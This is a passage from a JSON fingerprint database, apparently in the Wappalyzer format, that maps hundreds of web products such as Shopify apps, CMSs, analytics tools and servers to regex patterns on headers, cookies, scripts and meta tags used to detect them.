WinAds":{"js":["win_ads.baseurl"],"implies":["Shopify"]},"Salsify":{},"Voog.com Website Builder":{"html":["\u003cscript [^\u003e]*src=\"[^\"]*voog\\.com/tracker\\.js"]},"ELOG HTTP":{"headers":{"server":"elog http ?([\\d.-]+)?\\;version:\\1"},"implies":["ELOG"]},"TypeDoc":{"implies":["TypeScript"]},"Podsights":{},"Hello Bar":{"js":["hellobarsitesettings","hellobar"]},"Personizely":{"js":["personizely"]},"Extendify":{"meta":{"framework":["^redux ([\\d\\.]+)\\;version:\\1"]}},"Celum":{},"Miva":{"js":["mivavm_api","mivavm_version","mivajs","mivajs.page","mivajs.product_code","mivajs.product_id","mivajs.screen","mivajs.store_code"],"headers":{"content-disposition":"filename=(?:mvga\\.js|mivaevents\\.js)"}},"LogoiX":{},"World4You":{},"Bold Motivator":{"implies":["Shopify","Bold Commerce"]},"Globo Pre-Order":{"js":["globopreorderparams"],"implies":["Shopify"]},"Mustache":{"js":["mustache.version"]},"CFML":{},"Twitter Ads":{"js":["twttr"]},"Trengo":{"js":["trengo.eventbus"]},"novomind iSHOP":{"js":["_ishopevents","_ishopevents_url","ishop.config.baseurl"]},"WPForms":{"js":["wpforms","wpforms_settings"]},"Amazon EC2":{"headers":{"server":"\\(amazon\\)"},"implies":["Amazon Web Services"]},"Intershop":{"html":["\u003cish-root"]},"WordPress.com":{"headers":{"host-header":"wordpress\\.com"},"implies":["WordPress"]},"Priority Hints":{},"Engintron":{"headers":{"x-server-powered-by":"^engintron$"}},"Dotclear":{"headers":{"x-dotclear-static-cache":""},"implies":["PHP"]},"One.com":{},"SmartWeb":{"meta":{"generator":["^smartweb$"]}},"Tailwind CSS":{"css":["--tw-(?:rotate|translate|space-x|text-opacity|border-opacity)"]},"Formidable Form":{},"Handtalk":{"js":["handtalk"]},"IPFS":{"headers":{"x-cf-ipfs-cache-status":"","x-ipfs-pop":"","x-ipfs-root-cid":"","x-ipfs-datasize":"","x-ipfs-lb-pop":"","x-ipfs-path":"","x-ipfs-root":"","x-ipfs-gateway-host":"","x-ipfs-roots":""}},"Sazito":{"js":["sazito"],"meta":{"generator":["^sazito"]}},"webpack":{"js":["webpackchunk","webpackjsonp"]},"Octopress":{"html":["powered by \u003ca href=\"http://octopress\\.org\"\u003e"],"meta":{"generator":["octopress"]},"implies":["Jekyll"]},"Avada Size Chart":{},"Cryout Creations Bravada":{},"pirobase CMS":{"html":["\u003c(?:script|link)[^\u003e]/site/[a-z0-9/._-]+/resourcecached/[a-z0-9/._-]+","\u003cinput[^\u003e]+cbi:///cms/"],"implies":["Java"]},"T1 Envios":{"meta":{"generator":["^t1envios$"]}},"Exemptify":{"js":["exemptifytriggerupdate","m4u_ex_vat_postfix_txt"],"implies":["Shopify"]},"Adobe DTM":{"js":["_satellite.builddate"]},"ShellInABox":{"js":["shellinabox"],"html":["\u003ctitle\u003eshell in a box\u003c/title\u003e","must be enabled for shellinabox\u003c/noscript\u003e"]},"Duda":{"js":["d_version","systemid"]},"Bolt Payments":{"js":["bolt_callbacks","boltcheckout","boltpopup","bolttrack"]},"LiveSession":{},"AccuWeather":{},"Materialize CSS":{"html":["\u003clink[^\u003e]* href=\"[^\"]*materialize(?:\\.min)?\\.css"]},"Shopfa":{"js":["shopfa"],"headers":{"x-powered-by":"^shopfa ([\\d.]+)$\\;version:\\1"},"meta":{"generator":["^shopfa ([\\d.]+)$\\;version:\\1"]}},"Atatus":{"js":["atatus.version"]},"KeyCDN":{"headers":{"server":"^keycdn-engine$"}},"a-blog cms":{"meta":{"generator":["a-blog cms"]},"implies":["PHP"]},"Google Cloud Trace":{"headers":{"x-cloud-trace-context":""},"implies":["Google Cloud"]},"CubeCart":{"meta":{"generator":["cubecart"]},"implies":["PHP"]},"Disqus":{"js":["disqus","disqus_shortname","disqus_url"]},"ThemeGrill Radiate":{"js":["radiatescriptparam"]},"Acquire Cobrowse":{"js":["acquirecobrowsertc","acquirecobrowsesettings","acquireconfignodeserver"]},"Occasion":{"js":["occsnmerchanttoken","occsn.stack"]},"AnyClip":{"js":["anyclip"]},"Judge.me":{"js":["judgeme"],"implies":["Shopify"]},"ProvenExpert":{},"Segment Consent Manager ":{"js":["consentmanager.version"]},"ShareThis":{"js":["sharethis","__sharethis__docready"]},"BuySellAds":{"js":["_bsap","_bsap_serving_callback","_bsa","_bsapro"]},"BRT":{},"Twenty Twenty":{"js":["twentytwenty"]},"Microsoft Advertising":{"cookies":{"_uetsid":"\\w+","_uetvid":"\\w+"},"js":["uet","uetq"]},"Keap":{},"Nift":{"js":["niftanalytics","niftjs"]},"StrutFit":{"js":["rerenderstrutfit"]},"TownNews":{"js":["tntracker","tncms","tnstats_tracker"],"headers":{"x-tncms":""}},"Tippy.js":{"js":["tippy.defaultprops"]},"Zeleris":{},"Help Scout":{"js":["__onbeacondestroy","beaconstore"]},"JavaScript Infovis Toolkit":{"js":["$jit","$jit.version"]},"Webzie":{"meta":{"generator":["^webzie\\.com\\swebsite\\sbuilder$"]}},"Yandex.Cloud":{},"Irroba":{"html":["\u003ca[^\u003e]*href=\"https://www\\.irroba\\.com\\.br"]},"Ecwid":{"js":["ecwidcart","ecwid"]},"Twenty Fourteen":{},"Amazon ALB":{"cookies":{"awsalb":"","awsalbcors":""},"implies":["Amazon Web Services"]},"T-Soft":{"html":["\u003ca href=\"http://www\\.tsoft\\.com\\.tr\" target=\"_blank\" title=\"t-soft e-ticaret sistemleri\"\u003e"]},"Hammer.js":{"js":["ha.version","hammer","hammer.version"]},"Ebasnet":{"meta":{"author":["^ebasnet web solutions$"]},"implies":["PHP","MySQL","Varnish","Symfony"]},"Genesis theme":{"js":["genesisblocksshare","genesis_responsive_menu"]},"Optimise":{"js":["omid"]},"Strapdown.js":{"implies":["Bootstrap","Google Code Prettify"]},"Foxy.io":{},"PressMaximum Customify":{"js":["customify","customify_js","customify_is_mobile"]},"MathJax":{"js":["mathjax","mathjax.version"]},"MakeShopKorea":{"js":["makeshop","makeshoploguniqueid"]},"Rotic":{"js":["rotic.setting"]},"ipapi":{},"Google Wallet":{},"MyWebsite":{"js":["systemid"],"meta":{"generator":["ionos mywebsite\\;version:8"]}},"FingerprintJS":{"js":["fingerprint","fingerprint2","fingerprint2.version","fingerprintjs"]},"govCMS":{"meta":{"generator":["drupal ([\\d]+) \\(http:\\/\\/drupal\\.org\\) \\+ govcms\\;version:\\1"]},"implies":["Drupal"]},"Page Builder Framework":{},"vibecommerce":{"meta":{"designer":["vibecommerce"],"generator":["vibecommerce"]},"implies":["PHP"]},"RiteCMS":{"meta":{"generator":["^ritecms(?: (.+))?\\;version:\\1"]},"implies":["PHP","SQLite\\;confidence:80"]},"SiteOrigin Widgets Bundle":{},"RedwoodJS":{"implies":["React","GraphQL","TypeScript"]},"LocalFocus":{"html":["\u003ciframe[^\u003e]+\\blocalfocus\\b"],"implies":["Angular","D3"]},"Cluep":{},"Homestead":{"meta":{"generator":["^homestead sitebuilder$"]}},"Stamped":{"js":["stampedfn"]},"Sitecore":{"cookies":{"sc_analytics_global_cookie":"","sc_os_sessionid":"","sc_expview":""},"html":["\u003cimg[^\u003e]+src=\"[^\u003e]*/~/media/[^\u003e]+\\.ashx"]},"Cxense":{"meta":{"cxenseparse:url":[],"cxenseparse:itm-meta-keywords":[],"cxenseparse:pageclass":[],"cxenseparse:publishtime":[]}},"JTL Shop":{"cookies":{"jtlshop":""},"html":["(?:\u003cinput[^\u003e]+name=\"jtlshop|\u003ca href=\"jtl\\.php)"]},"Carro":{"implies":["Shopify"]},"Maxemail":{"js":["mxm.basket","mxm.formhandler","mxm.tracker"]},"Visa":{"js":["visaapi","visaimage","visasrc"]},"h5ai":{"implies":["PHP"]},"Cloudinary":{"js":["_cloudinary"],"headers":{"content-security-policy":"player\\.cloudinary\\.com"}},"Starlet":{"headers":{"server":"^plack::handler::starlet"},"implies":["Perl"]},"Caldera Forms":{"js":["calderaforms"]},"Twitter typeahead.js":{"js":["typeahead"],"implies":["jQuery"]},"Taiga":{"js":["taigaconfig"],"implies":["Django","AngularJS"]},"eKomi":{"js":["ekomiwidgetmain"]},"mParticle":{"js":["mparticle","mparticle.config.snippetversion"]},"Yelp Reservations":{},"WebZi":{"js":["webzicart","webzivalidate"],"meta":{"generator":["^webzi\\.ir\\swebsite\\sbuilder$"]}},"Viral Loops":{},"Google Pay":{},"Amazon Webstore":{"js":["amzn"]},"Hypestyle CSS":{"implies":["Sass"]},"aThemes Astrid":{},"TablePress":{},"GoDaddy":{},"Skedify":{"js":["skedify.plugin.version"]},"Cargo":{"js":["cargo.config","__cargo_js_ver__"],"meta":{"cargo_title":[]},"implies":["PHP"]},"Smart Slider 3":{},"Smash Balloon Instagram Feed":{},"Ocuco FitMix":{"js":["fitmix.widget_base_url"]},"Tapad":{},"Tiqets":{"js":["__tiqets_loader_reinit"]},"SnapWidget":{},"Xtremepush":{"js":["xtremepush"]},"Tessitura":{"html":["\u003c!--[^\u003e]+tessitura version: (\\d*\\.\\d*\\.\\d*)?\\;version:\\1"],"implies":["Microsoft ASP.NET","IIS","Windows Server"]},"ThemeGrill ColorMag":{},"PromoBuilding":{"cookies":{"promobuilding_session":""},"js":["promoapi","promodomain","promoisover","promostart"],"html":["\u003c!-- made with https://promobuilding\\.ru"]},"Moshimo":{},"Carrd":{},"Yoast Duplicate Post":{},"Broadstreet":{"js":["broadstreet"]},"Monkey HTTP Server":{"headers":{"server":"monkey/?([\\d.]+)?\\;version:\\1"}},"OpenElement":{"js":["oe.getools","oeconfwemenu"],"meta":{"generator":["openelement\\s\\(([\\d\\.]+)\\)\\;version:\\1"]},"implies":["PHP"]},"ColorMeShop":{"js":["colorme"]},"Percussion":{"html":["\u003c[^\u003e]+class=\"perc-region\""],"meta":{"generator":["(?:percussion|rhythmyx)"]}},"Colorlib Travelify":{"js":["travelify_slider_value"]},"Sentry":{"js":["raven.config","sentry","sentry.sdk_version","__sentry__","ravenoptions.whitelisturls"],"html":["\u003cscript[^\u003e]*\u003e\\s*raven\\.config\\('[^']*', \\{\\s+release: '([0-9\\.]+)'\\;version:\\1","\u003cscript[^\u003e]*src=\"[^\"]*browser\\.sentry\\-cdn\\.com/([0-9.]+)/bundle(?:\\.tracing)?(?:\\.min)?\\.js\\;version:\\1"]},"Joomla":{"js":["joomla","jcomments"],"headers":{"x-content-encoded-by":"joomla! ([\\d.]+)\\;version:\\1"},"html":["(?:\u003cdiv[^\u003e]+id=\"wrapper_r\"|\u003c(?:link|script)[^\u003e]+(?:feed|components)/com_|\u003ctable[^\u003e]+class=\"pill)\\;confidence:50"],"meta":{"generator":["joomla!(?: ([\\d.]+))?\\;version:\\1"]},"implies":["PHP"]},"Mailjet":{},"Solusquare OmniCommerce Cloud":{"cookies":{"_solusquare":""},"meta":{"generator":["^solusquare$"]},"implies":["Adobe ColdFusion"]},"Microsoft Ajax Content Delivery Network":{},"HashThemes Total":{},"Nepso":{"headers":{"x-powered-cms":"nepso"}},"LINE Login":{"js":["constants.authorization_request_url"]},"Squarespace":{"js":["squarespace","static.squarespace_context.templateversion"],"headers":{"server":"squarespace"}},"Oracle Commerce Cloud":{"headers":{"oraclecommercecloud-version":"^(.+)$\\;version:\\1"}},"AdInfinity":{},"Yandex.Messenger":{"js":["yandexchatwidget"]},"SparkPost":{},"BambooHR":{"js":["scrolltobamboohr"],"headers":{"content-security-policy":"\\.bamboohr\\.com"}},"Yahoo! Tag Manager":{"html":["\u003c!-- (?:end )?yahoo! tag manager --\u003e"]},"AddToAny Share Buttons":{"implies":["AddToAny"]},"Bloomreach":{"html":["\u003c[^\u003e]+/binaries/(?:[^/]+/)*content/gallery/"]},"Skimlinks":{"js":["__skim_js_global__","addskimlinks","skimlinksapi"]},"TakeDrop":{"js":["webpackjsonptakedrop-react"]},"mod_jk":{"headers":{"server":"mod_jk(?:/([\\d\\.]+))?\\;version:\\1"},"implies":["Apache Tomcat","Apache"]},"WikkaWiki":{"html":["powered by \u003ca href=\"[^\u003e]+wikkawiki"],"meta":{"generator":["wikkawiki"]}},"SoftTr":{"meta":{"author":["softtr e-ticaret sitesi yazılımı"]}},"BittAds":{"js":["bitt"]},"Marchex":{},"DataMilk":{"js":["datamilkmagicaiexecuted"]},"Recomify":{"implies":["Shopify"]},"Unbounce":{"headers":{"x-unbounce-pageid":""}},"Peek":{"js":["peekjsapi","_peekconfig","peek"]},"Affirm":{"js":["_affirm_config","affirm.rollbar"]},"Adloox":{},"UpSellit":{"js":["usi_analytics","usi_app","usi_commons","usi_cookies"]},"Squiz Matrix":{"headers":{"x-powered-by":"squiz matrix"},"html":["\u003c!--\\s+running (?:mysource|squiz) matrix"],"meta":{"generator":["squiz matrix"]},"implies":["PHP"]},"BoldGrid":{"html":["\u003clink rel=[\"']stylesheet[\"'] [^\u003e]+boldgrid","\u003clink rel=[\"']stylesheet[\"'] [^\u003e]+post-and-page-builder","\u003clink[^\u003e]+s\\d+\\.boldgrid\\.com"]},"Haskell":{},"Saleor":{"js":["___next_data__.runtimeconfig.saleor"],"implies":["GraphQL"]},"WooCommerce Stripe Payment Gateway":{"implies":["Stripe"]},"Axeptio":{"js":["axeptiosdk","axeptiosettings"]},"Leadinfo":{"js":["globalleadinfonamespace","leadinfo"]},"RCMS":{"meta":{"generator":["^(?:rcms|reallycms)"]}},"Ubuntu":{"headers":{"server":"ubuntu","x-powered-by":"ubuntu"}},"experiencedCMS":{"meta":{"generator":["^experiencedcms$"]},"implies":["PHP"]},"ExitIntel":{"js":["exitintel.version","exitintelaccount","exitintelconfig"]},"Branch":{"js":["branch.setbranchviewdata","branch_callback__0"]},"Apple Sign-in":{"js":["appleid"],"meta":{"appleid-signin-client-id":[]}},"Scoop.it":{},"Freshteam":{},"Zepto":{"js":["zepto"]},"Packlink PRO":{"implies":["Shopify"]},"Chatra":{"js":["chatraid","chatrasetup"]},"Abicart":{"meta":{"generator":["abicart","textalk webshop"]}},"XRegExp":{"js":["xregexp.version"]},"React Redux":{"implies":["React","Redux"]},"Aircall":{},"Vntana":{},"phpwind":{"html":["(?:powered|code) by \u003ca href=\"[^\"]+phpwind\\.net"],"meta":{"generator":["^phpwind(?: v([0-9-]+))?\\;version:\\1"]},"implies":["PHP"]},"MoEngage":{"js":["moengage_api_key","moengage","downloadmoengage","moengage_object"]},"Fresh":{"implies":["Deno","Preact"]},"Open Web Analytics":{"js":["owa.config.baseurl","owa_baseurl","owa_cmds"],"html":["\u003c!-- (?:start|end) open web analytics tracker --\u003e"]},"Wagtail":{"implies":["Django","Python"]},"Pixc":{},"Boost Commerce":{"js":["bcsffilterconfig.api.filterurl","boostpfsappconfig.api.filterurl"]},"Yottaa":{"meta":{"x-yottaa-metrics":[],"x-yottaa-optimizations":[]}},"Reelevant":{"js":["reel.companyid"],"headers":{"content-security-policy":"\\.reelevant\\.com"}},"Podia":{"cookies":{"_podia_storefront_visitor_id":""},"js":["podia.checkout"]},"PWA":{},"Raygun":{"js":["raygun","raygunenabled","raygunfactory"]},"Acquia Cloud IDE":{"implies":["Acquia Cloud Platform"]},"Calendly":{"js":["calendly"]},"Live Story":{"js":["lshelpers","livestory"]},"ThemeIsle Menu Icons":{},"Braze":{"js":["appboy","appboyqueue"]},"bSecure":{"js":["bsecure_js_object"]},"OnePress Social Locker":{"js":["__pandalockers","bizpanda"]},"Karma":{"js":["karma.vars.version"],"implies":["Node.js"]},"Sizmek":{"html":["(?:\u003ca [^\u003e]*href=\"[^/]*//[^/]*serving-sys\\.com/|\u003cimg [^\u003e]*src=\"[^/]*//[^/]*serving-sys\\.com/)"]},"Tealium AudienceStream":{},"Admitad":{"js":["admitad","admitad"]},"Zoko":{"js":["__zoko_app_version"],"implies":["WhatsApp Business Chat"]},"PayPal Marketing Solutions":{"implies":["PayPal"]},"Wirecard":{"js":["wirecardhpp","wirecardpaymentpage"]},"Ember.js":{"js":["ember","ember.version","emberenv"]},"Gumlet":{"js":["gumlet"]},"GTranslate app":{},"Lucky Orange":{"js":["__wtw_lucky_site_id"]},"Grin":{"js":["grin"]},"SQL Buddy":{"html":["(?:\u003ctitle\u003esql buddy\u003c/title\u003e|\u003c[^\u003e]+onclick=\"sidemainclick\\(\"home\\.php)"],"implies":["PHP"]},"NewStore":{"js":["highstreetbanner.config"]},"Aero Commerce":{"js":["aeroevents.on"]},"Medium":{"headers":{"x-powered-by":"^medium$"},"implies":["Node.js"]},"Scientific Linux":{"headers":{"server":"scientific linux","x-powered-by":"scientific linux"}},"Raptor":{"js":["onraptorloaded","raptorbase64","raptor"]},"Scalefast":{},"Microsoft ASP.NET":{"cookies":{"asp.net_sessionid":"","aspsession":""},"headers":{"x-aspnet-version":"(.+)\\;version:\\1","x-powered-by":"^asp\\.net","set-cookie":"\\.aspnetcore"},"html":["\u003cinput[^\u003e]+name=\"__viewstate"]},"Poloriz":{},"FreeTextBox":{"js":["ftb_api","ftb_addevent"],"html":["\u003c!-- \\* freetextbox v\\d \\((\\d+\\.\\d+\\.\\d+)\\;version:\\1"],"implies":["Microsoft ASP.NET"]},"MainAd":{},"Geo Targetly":{},"Accessibility Toolbar Plugin":{"js":["micaccesstool.prototype.opencloseboxkeyboard"]},"Chronofresh":{},"Nextdoor Ads":{},"Moneris":{"js":["initialserverdata.monerisconfiguration"],"headers":{"content-security-policy":"\\.moneris\\.com"}},"Secomapp":{"js":["secomapp"],"implies":["Shopify"]},"Microsoft PowerPoint":{"html":["(?:\u003chtml [^\u003e]*xmlns:w=\"urn:schemas-microsoft-com:office:powerpoint\"|\u003clink rel=\"?presentation-xml\"? href=\"?[^\"]+\\.xml\"?\u003e|\u003co:presentationformat\u003e[^\u003c]+\u003c/o:presentationformat\u003e[^!]+\u003co:slides\u003e\\d+\u003c/o:slides\u003e(?:[^!]+\u003co:version\u003e([\\d.]+)\u003c/o:version\u003e)?)\\;version:\\1"],"meta":{"generator":["microsoft powerpoint ( [\\d.]+)?\\;version:\\1"],"progid":["^powerpoint\\."]}},"Azure Front Door":{"cookies":{"aslbsa":"","aslbsacors":""},"headers":{"x-azure-ref":""},"implies":["Azure"]},"deepMiner":{"js":["deepminer"]},"OpenCart":{"cookies":{"ocsessid":""},"implies":["PHP"]},"MIYN Online Appointment":{"js":["miynlive.settings"]},"Jalios":{"meta":{"generator":["jalios"]}},"ConveyThis":{},"Lodash":{"js":["_.version","_.differenceby","_.templatesettings.imports._.templatesettings.imports._.version"]},"MizbanCloud":{"headers":{"server":"^mizbancloud$"}},"iAdvize":{},"The Arena Group":{"meta":{"generator":["^tempest\\s-\\smaven\\.io$"]}},"AccessTrade":{},"Splunk RUM":{"js":["plumbr._core.selfurl","plumbr._core.version"]},"Social9":{},"Contentsquare":{"js":["cs_conf.trackerdomain"]},"Akinon":{},"Issuu":{"js":["issuureaders","issuupanel"]},"Findmeashoe":{"js":["fmasjavascript","fmasgendersizetextvariantidcollection","fmasuniversalwidgetjsfilename"]},"Modernizr":{"js":["modernizr._version"]},"Admixer":{"js":["admixerads","admixerml"]},"Big Cartel":{"meta":{"generator":["big cartel"]}},"MyFonts":{"headers":{"content-security-policy":"\\.myfonts\\.net"}},"ClickDimensions":{"js":["clickdimensions"]},"Correos":{},"AMP for WordPress":{"meta":{"generator":["^amp plugin v(\\d+\\.\\d+.*)$\\;version:\\1"]},"implies":["AMP"]},"Bokun":{"js":["bokunwidgetembedder","__bokunwidgets","bokunbookingchanneluuid","bokunsessionid"]},"YouCam Makeup":{"js":["ymk.caldeltae","ymk.applymakeupbylook"]},"Cloverly":{"js":["removecloverly"]},"Livewire":{"js":["livewire"],"html":["\u003c[^\u003e]{1,512}\\bwire:"],"implies":["Laravel"]},"Webriti Busiprof":{},"PushEngage":{},"eWAY Payments":{"html":["\u003cimg [^\u003e]*src=\"[^/]*//[^/]*eway\\.com"]},"CIVIC":{},"Absorb":{"cookies":{"_absorb_ui_session":""},"js":["absorblms"]},"Twitter Analytics":{},"Apache JSPWiki":{"html":["\u003chtml[^\u003e]* xmlns:jspwiki="],"implies":["Apache Tomcat"]},"Grav":{"meta":{"generator":["gravcms(?:\\s([\\d.]+))?\\;version:\\1"]},"implies":["PHP"]},"EmbedThis Appweb":{"headers":{"server":"mbedthis-appweb(?:/([\\d.]+))?\\;version:\\1"}},"Accesso":{"js":["accesso"]},"TrueCommerce":{},"Royal Mail":{},"Theme Horse Attitude":{},"Thimatic":{},"OpenGSE":{"headers":{"server":"gse"},"implies":["Java"]},"IntenseDebate":{},"React":{"js":["__react_on_rails_event_handlers_ran_once__","react.version","reactonrails"],"html":["\u003c[^\u003e]+data-react"],"meta":{"description":["^web site created using create-react-app$"]}},"Moodle":{"cookies":{"moodleid_":"","moodlesession":""},"js":["m.core","y.moodle"],"html":["\u003cimg[^\u003e]+moodlelogo"],"meta":{"keywords":["^moodle"]},"implies":["PHP"]},"Neos CMS":{"headers":{"x-flow-powered":"neos/?(.+)?$\\;version:\\1"},"implies":["Neos Flow"]},"OXID eShop Enterprise Edition":{"html":["\u003c!--[^-]*oxid eshop enterprise edition, version (\\d+)\\;version:\\1"],"implies":["PHP"]},"Tictail":{"html":["\u003clink[^\u003e]*tictail\\.com"]},"Flat UI":{"html":["\u003clink[^\u003e]* href=[^\u003e]+flat-ui(?:\\.min)?\\.css"],"implies":["Bootstrap"]},"WebNode":{"cookies":{"_gat_wnd_header":""},"js":["wnd.$system"],"meta":{"generator":["^webnode(?:\\s([\\d.]+))?$\\;version:\\1"]}},"Typeform":{"js":["tf.createpopover","tf.createwidget"]},"InstantClick":{"js":["instantclick"]},"Piwik PRO Core":{},"Kentico CMS":{"cookies":{"cmspreferredculture":""},"js":["cms.application"],"meta":{"generator":["kentico cms ([\\d.r]+ \\(build [\\d.]+\\))\\;version:\\1"]}},"Astro":{},"Phoenix Site":{"cookies":{"phoenix_p_session":""},"js":["phxsite.pages_version"]},"Oracle Infinity":{},"TableBooker":{},"Mint":{"js":["mint"]},"AB Tasty":{"js":["abtasty","_abtasty","loadabtasty"]},"BrightEdge":{"js":["bejssdk.client_version","_bright3.version","be_sdk_options"]},"Plyr":{"js":["plyr"],"css":["--plyr-progress"]},"ipify":{},"Acquia Cloud Next":{"headers":{"x-ah-environment":"next"},"implies":["Acquia Cloud Platform","Kubernetes Dashboard","Amazon EFS","Amazon Aurora"]},"ip-api":{},"comScore":{"js":["comscore","_comscore"]},"Concrete CMS":{"cookies":{"concrete5":""},"js":["concrete","ccm_image_path"],"meta":{"generator":["^concrete5(?: - ([\\d.]+)$)?\\;version:\\1"]},"implies":["PHP"]},"Trove Recommerce":{"headers":{"x-trove-app-name":"","x-trove-country-code":"","x-trove-order-uuid":"","x-yerdle-app-name":""}},"Google Workspace":{},"CMSimple":{"meta":{"generator":["cmsimple( [\\d.]+)?\\;version:\\1"]},"implies":["PHP"]},"Oney":{"js":["oneymarketplace","isoneyactive","openoneylayer"]},"Pinterest Ads":{},"script.aculo.us":{"js":["scriptaculous.version"]},"Quora Pixel":{"js":["qp.qp"]},"Popup Maker":{"js":["pum_popups"]},"Lagoon":{"headers":{"x-lagoon":""}},"Bugcrowd":{},"PeerTube":{"meta":{"og:platform":["^peertube$"]}},"Yotpo SMSBump":{"js":["smsbumpform"]},"Didomi":{},"Rayo":{"js":["rayo"],"meta":{"generator":["^rayo"]},"implies":["AngularJS","Microsoft ASP.NET"]},"Section.io":{"headers":{"section-io-id":"","section-io-origin-status":"","section-io-origin-time-seconds":""}},"MemberStack":{"cookies":{"memberstack":""},"js":["memberstack"]},"CareCart Sales Pop Up":{"implies":["Shopify"]},"Wistia":{"js":["wistia","wistiaembeds","wistiautils"]},"ApostropheCMS":{"js":["apos_dialogs.dialogattributes","apos.csrfcookiename"],"implies":["Node.js"]},"Measured":{},"Fedora":{"headers":{"server":"fedora"}},"Make-Sense":{},"ClearSale":{"js":["csdm"]},"Bold Product Options":{"js":["bold.options.version"],"implies":["Shopify","Bold Commerce"]},"Magento":{"cookies":{"frontend":"\\;confidence:50","x-magento-vary":""},"js":["mage","varienform"],"implies":["PHP","MySQL"]},"Tallentor Widget":{"cookies":{"tallentor_widget":""}},"Dropzone":{"js":["dropzone.version","dropzone"]},"PyroCMS":{"cookies":{"pyrocms":""},"headers":{"x-streams-distribution":"pyrocms"},"implies":["Laravel"]},"Cross Pixel":{"js":["cp_c4w1ldn2d9pmvrkn"]},"Detectify":{},"CouchDB":{"headers":{"server":"couchdb/([\\d.]+)\\;version:\\1"}},"Adobe Dynamic Media Classic":{"headers":{"content-security-policy":"\\.scene7\\.com"}},"Perl":{"headers":{"server":"\\bperl\\b(?: ?/?v?([\\d.]+))?\\;version:\\1"}},"BrightInfo":{"js":["_bi_","_biq","bijsurl"]},"HSTS":{"headers":{"strict-transport-security":""}},"DoubleClick Campaign Manager (DCM)":{},"Chaport":{"js":["chaportconfig","chaport"]},"Cloudflare":{"cookies":{"__cfduid":""},"js":["cloudflare"],"headers":{"cf-ray":"","server":"^cloudflare$","cf-cache-status":""}},"ContentBox":{"meta":{"generator":["contentbox powered by coldbox"]},"implies":["Adobe ColdFusion"]},"Ensighten":{},"AntV G2":{"js":["g2.chart","g2.version"]},"Pagar.me":{"js":["pagarme.balance","pagarmecheckout"]},"Naver RUA":{},"basket.js":{"js":["basket.isvaliditem"]},"Okta":{"js":["oktaauth","isoktaenabled","oktacurrentsessionurl"]},"BandsInTown Events Widget":{},"FameThemes OnePress":{"js":["onepress_plus","onepressismobile","onepress_js_settings"]},"Sitevision CMS":{"cookies":{"sitevisionltm":""}},"Tiledesk":{"js":["tiledesk","tiledeskasyncinit","tiledesksettings","tiledesk"]},"ipgeolocation":{},"Sendgrid":{},"YUI":{"js":["yahoo.version","yui.version"]},"Flowplayer":{"js":["flowplayer","flowplayer.version"]},"Aegea":{"headers":{"x-powered-by":"^e2 aegea v(\\d+)$\\;version:\\1"},"implies":["PHP","jQuery"]},"Dreamdata":{"js":["biztrackinga","bizible"]},"Tyslo EasySell":{"js":["tysloapplydiscount","tysloconfigversion","tysloeasysellconfig","opentysloform"],"implies":["Shopify"]},"Mixpanel":{"js":["mixpanel"]},"Flow":{"js":["flow.cart","flow.countrypicker","flow_cart_localize"]},"ZK":{"html":["\u003c!-- zk [.\\d\\s]+--\u003e"],"implies":["Java"]},"Iluria":{"js":["iluria","iluriashowpagination"]},"Whistl":{},"MTCaptcha":{"js":["mtcaptcha.getverifiedtoken","mtcaptchaconfig.sitekey"]},"ValueCommerce":{},"Ali Reviews":{"js":["alireviews_tags"]},"Shopify Chat":{"implies":["Shopify"]},"Schedule Engine":{},"Open AdStream":{"js":["oas_ad"]},"Module Federation":{"implies":["webpack"]},"Spring for creators":{"js":["webpackjsonpteespring-custom-storefront"]},"Underscore.js":{"js":["_.version","_.restarguments"]},"Amobee":{},"jQuery UI":{"js":["jquery.ui.version"],"implies":["jQuery"]},"Xanario":{"meta":{"generator":["xanario shopsoftware"]}},"Aprimo":{},"Nextsale":{"js":["nextsaleobject"]},"Caast.tv":{"js":["caast.open","caastinstance"]},"FreeBSD":{"headers":{"server":"freebsd(?: ([\\d.]+))?\\;version:\\1"}},"Recite Me":{},"Captch Me":{"js":["captchme"]},"District M":{},"My Flying Box":{},"Athena Search":{},"BookThatApp":{"js":["bookthatapp"],"implies":["Shopify"]},"Docusaurus":{"js":["search.indexname"],"meta":{"generator":["^docusaurus(?: v(.+))?$\\;version:\\1"]},"implies":["React","webpack"]},"ParkingCrew":{"js":["pcrewadloaded"]},"Storefront UI":{"implies":["Vue.js"]},"Auth0 Lock":{"implies":["Auth0"]},"Vitals":{"js":["vitals_app_cache_keys_v1","vitals_country_code","vitals_product_data","vitals"]},"Eggplant":{"headers":{"content-security-policy":"\\.eggplant\\.cloud"}},"Level 5":{"js":["l5_inventory_url"]},"Yampi Checkout":{"js":["yampicheckouturl"]},"core-js":{"js":["__core-js_shared__.versions.0.version","_babelpolyfill","core","core.version","__core-js_shared__"]},"OpenTable":{},"Adobe GoLive":{"meta":{"generator":["adobe golive(?:\\s([\\d.]+))?\\;version:\\1"]}},"TrackJs":{"js":["trackjs","trackjs"]},"Kameleoon":{"cookies":{"kameleoonvisitorcode":""},"js":["kameleoonendloadtime","kameleoons","kameleoon.gatherer.script_version"]},"UPS":{},"Simon":{"js":["simondata"]},"Kestrel":{"headers":{"server":"^kestrel"},"implies":["Microsoft ASP.NET"]},"FlexCMP":{"headers":{"x-powered-by":"flexcmp.+\\[v\\. ([\\d.]+)\\;version:\\1","x-flex-lang":""},"html":["\u003c!--[^\u003e]+flexcmp[^\u003ev]+v\\. ([\\d.]+)\\;version:\\1"],"meta":{"generator":["^flexcmp"]}},"Grab Pay Later":{"js":["grabwidget","grab_widget_money_format"]},"i-MSCP":{"meta":{"application-name":["^i-mscp$"]}},"MobX":{"js":["__mobxglobal","__mobxglobals","__mobxinstancecount"]},"GoAnywhere":{"js":["appcontainer"],"headers":{"server":"goanywhere"}},"GEODIS":{},"Google Publisher Tag":{},"Cross Sell":{"implies":["Shopify","Cart Functionality"]},"Koken":{"cookies":{"koken_referrer":""},"html":["\u003chtml lang=\"en\" class=\"k-source-essays k-lens-essays\"\u003e","\u003c!--\\s+koken debugging"],"meta":{"generator":["koken 